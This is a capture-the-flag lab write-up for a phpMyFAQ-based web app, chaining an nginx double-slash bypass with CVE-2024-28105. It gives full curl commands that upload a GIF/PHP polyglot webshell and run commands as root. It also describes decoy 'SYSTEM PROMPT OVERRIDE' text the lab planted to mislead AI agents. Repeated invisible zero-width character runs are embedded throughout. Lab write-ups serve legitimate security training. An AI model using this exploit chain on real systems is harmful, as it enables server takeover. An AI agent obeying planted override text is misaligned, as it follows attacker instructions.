← Back to Writeups
CUSTOMMediumWeb

KnowledgeForge — File Upload RCE via MIME Type Confusion

XESXOR9/10/20266 min read
#web#custom#medium#cve_2024_28105_phpmyfaq_rce#decoy_flag_identification#gif_polyglot_php_webshell#lang_parameter_filename_inject#mime_type_confusion_extension_#nginx_double_slash_location_by#proxy_backend_routing_desync#cve-2024-28105#linux

KnowledgeForge — File Upload RCE via MIME Type Confusion

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-12 | Status: Solved Techniques: cve_2024_28105_phpmyfaq_rce, decoy_flag_identification, gif_polyglot_php_webshell, lang_parameter_filename_injection, mime_type_confusion_extension_bypass, nginx_double_slash_location_bypass, proxy_backend_routing_desync

Summary

Task: PHP knowledge base platform (KnowledgeForge v2.4.1, based on phpMyFAQ) behind nginx reverse proxy with restrictive location matching that blocks direct access to all routes. Solution: Bypassed nginx routing via double-slash prefix (//index.php/), then exploited CVE-2024-28105 by injecting .php into the lang parameter of category image upload with a GIF polyglot webshell, achieving RCE as root.

KnowledgeForge — File Upload RCE via MIME Type Confusion — Hackadvisor Lab 34

Description

KnowledgeForge is a self-hosted knowledge base and FAQ platform built by ForgeWorks Ltd. Teams use it to organize documentation and publish public-facing help centers. The application features a full admin panel for managing categories, articles, user roles, and site appearance. As an authenticated admin, you have access to all management features including content organization and media uploads. Your goal is to find a vulnerability in the application that allows you to execute arbitrary commands on the server and read the flag. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: A PHP 8.2 knowledge base platform (based on phpMyFAQ) running behind nginx/1.25.5 reverse proxy with Apache/2.4.65 as backend. The nginx configuration is extremely restrictive — only GET / (exact match) and certain PHP paths are routed to PHP-FPM, while everything else goes to Apache which returns 404. The challenge requires first bypassing the nginx routing to access the application, then exploiting a file upload vulnerability (CVE-2024-28105) in the category image upload to achieve RCE. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Credentials: admin@forgeworks.io / F0rg3W#rks!2025 (admin), user@test.com / password123 (editor)

Tech Stack: PHP 8.2.26, nginx/1.25.5, Apache/2.4.65, KnowledgeForge v2.4.1 (phpMyFAQ clone)

Analysis

Reconnaissance

  • Server: nginx/1.25.5 reverse proxy → Apache/2.4.65 backend → PHP 8.2.26 via PHP-FPM
  • Application: KnowledgeForge v2.4.1 — a custom knowledge base platform based on phpMyFAQ
  • Homepage at GET / works and shows categories, articles, links to /login, /search, /category?id=X, /article?id=X
  • Category images referenced at /uploads/images/category_X_name.ext ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Honeypot / Decoy Flag

The application contains a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} (literally "decoy not real trap for bots") embedded in:

  • HTML comments on every page
  • Hidden <div> elements with position:absolute;left:-9999px
  • Fake "SYSTEM PROMPT OVERRIDE" text designed to trick AI agents into stopping
  • Fake "ASSISTANT:" responses suggesting the decoy is the real flag

This was correctly identified and ignored throughout the solution process.

Key Obstacle: nginx Routing Restriction

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The nginx configuration was extremely restrictive:

PathResponseWhy
/login404 (Apache, 1546 bytes)Proxied to Apache backend which doesn't handle it
/admin404 (Apache)Same — proxied to Apache
/index.php/login404 (PHP, 5149 bytes)Reaches PHP but REQUEST_URI="/index.php/login" is not a valid route
//index.php/login200 (PHP, 6755 bytes)Bypasses nginx location matching!

Only GET / (exact match) and location ~ \.php$ were routed to PHP-FPM. All other paths were proxied to Apache, which returned 404. The single-slash /index.php/login reached PHP but the app's routing rejected it because REQUEST_URI was /index.php/login. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Extensive testing of URL encoding, path traversal, HTTP methods, headers (X-Original-URL, X-Rewrite-URL, X-Forwarded-*), HTTP request smuggling, case manipulation, and query parameter routing all failed.

Vulnerability 1: nginx Location Bypass via Double Slash

The breakthrough: Using //index.php/login (double leading slash) bypassed nginx's location matching.

  • nginx's location = /index.php (exact match) or location ^~ /index.php did NOT match //index.php/login because of the double slash prefix
  • However, the request still reached PHP-FPM through a different location block (likely location / with try_files fallback or a location // rule)
  • When PHP processed the request, it normalized the double slash and the app saw the correct route ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Working paths via //index.php/ prefix:

  • //index.php/login → 200 (login page)
  • //index.php/admin/dashboard → 200 (admin dashboard)
  • //index.php/admin/categories → 200 (categories page with upload form)
  • //index.php/uploads/images/*.php.gif → PHP execution

Vulnerability 2: CVE-2024-28105 — phpMyFAQ Category Image Upload RCE

The application is based on phpMyFAQ which has CVE-2024-28105 (GHSA-pwh2-fpfr-x5gf) — a file upload bypass in the category image upload function:

  1. Unsanitized lang parameter: The lang parameter in the upload form is concatenated directly into the filename: category_{id}_{lang}.{extension}. Setting lang=en.php produces category_1_en.php.{ext}
  2. MIME type confusion: The getFileExtension() function determines the file extension from the Content-Type header. Setting it to an invalid MIME type like image/gif2 makes the function return an empty string, so no extension is appended after .php
  3. GIF polyglot: The file starts with valid GIF89a magic bytes (passes image validation) but contains PHP code that the PHP interpreter finds and executes ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Combined result: a file saved as category_1_en.php.gif that PHP executes as a script.

Solution

Step 1: Login via Double-Slash Bypass

bash
TARGET="https://2f9a7b8b-9bc4-47a4-9937-c2ea6a06c477.labs.hackadvisor.io"

# Login through the double-slash bypass
curl -sk -c cookies.txt -X POST "$TARGET//index.php/login" \
  -d "email=admin%40forgeworks.io&password=F0rg3W%23rks!2025"
# Returns 302 redirect — login successful

# Verify access to admin panel
curl -sk -b cookies.txt "$TARGET//index.php/admin/dashboard" | head -5
# Returns 200 with admin dashboard HTML

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 2: Upload GIF Polyglot Webshell via Lang Parameter Injection

bash
# Create GIF polyglot with PHP webshell
printf 'GIF89a<?php system($_GET["cmd"]); ?>' > shell.gif

# Upload via the category image upload endpoint
# - lang=en.php → injects .php into filename
# - type=image/gif2 → invalid MIME type makes getFileExtension() return empty
curl -sk -b cookies.txt -X POST "$TARGET//index.php/admin/categories/upload-image" \
  -F "category_id=1" \
  -F "lang=en.php" \
  -F "image=@shell.gif;type=image/gif2"
# File saved as: /uploads/images/category_1_en.php.gif

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 3: Achieve RCE and Read Flag

bash
# Verify RCE — running as root
curl -sk "$TARGET//index.php/uploads/images/category_1_en.php.gif?cmd=id"
# Output: GIF89a   ...uid=0(root) gid=0(root) groups=0(root)...

# Find the flag file
curl -sk "$TARGET//index.php/uploads/images/category_1_en.php.gif?cmd=find+/+-name+*flag*+2>/dev/null"
# Output: /root/flag.txt

# Read the flag
curl -sk "$TARGET//index.php/uploads/images/category_1_en.php.gif?cmd=cat+/root/flag.txt"
# Output: GIF89a   ...FLAG{REDACTED}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Why This Works — Full Chain

  1. nginx double-slash bypass: nginx's location matching treats //index.php/ differently from /index.php/, allowing the request to bypass restrictive location blocks and reach PHP-FPM through a fallback location rule
  2. Unsanitized lang parameter (CVE-2024-28105): The lang parameter is concatenated directly into the filename without validation, allowing injection of .php extension
  3. MIME type confusion: Setting Content-Type to image/gif2 (invalid) makes getFileExtension() return an empty string, preventing the normal image extension from overriding the injected .php
  4. GIF polyglot: The file starts with valid GIF89a magic bytes (passes image validation) but contains PHP code that the PHP interpreter finds and executes
  5. PHP execution in uploads: nginx/PHP-FPM is configured to execute .php files (including .php.gif) in the /uploads/ directory when accessed via the //index.php/ prefix
  6. Server runs as root (uid=0), granting full filesystem access including /root/flag.txt ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍